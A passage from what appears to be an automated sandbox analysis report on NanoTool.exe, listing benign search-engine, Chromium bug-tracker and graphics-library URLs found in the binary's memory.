      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/favicon.icohttps://ca.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ca.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/favicon.icohttps://cl.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://cl.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/favicon.icohttps://co.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://co.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/favicon.icohttps://coccoc.com/search#query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://coccoc.com/search#query=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/1161355
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/1214923
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/1237175
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/1313172
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/1338622.
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1016
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1071
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1083
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1203
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1216
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1264
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1276
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1289
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1302
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1305
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/136
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1389
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1393
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/145
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1462
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1473
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1487
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/155
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1563
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1564
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/1579
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/193
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/237
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/27
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/271
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/286
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/342
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/343
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/36
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/402
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/42
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/434
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/480
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/537
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/549
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/56
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/582
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/633
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/666
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/667
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/673
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/727
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/776
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/792
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/838
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/840
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/949
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/960
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/dawn/966
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/new
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreating
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/tint.
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://crbug.com/tint/1003
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dawn.googlesource.com/dawn/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/favicon.icohttps://de.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dk.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dl.gmx.com/apps/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://dl.gmx.com/apps/favicon.icohttps://search.gmx.com/web/result?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtabh
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://en.softonic.com/s/
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/favicon.icohttps://es.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://es.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/favicon.icohttps://fi.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fi.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/favicon.ico
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/favicon.icohttps://fr.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/search
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://fr.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://github.com/KhronosGroup/Vulkan-Docs/issues/1005)
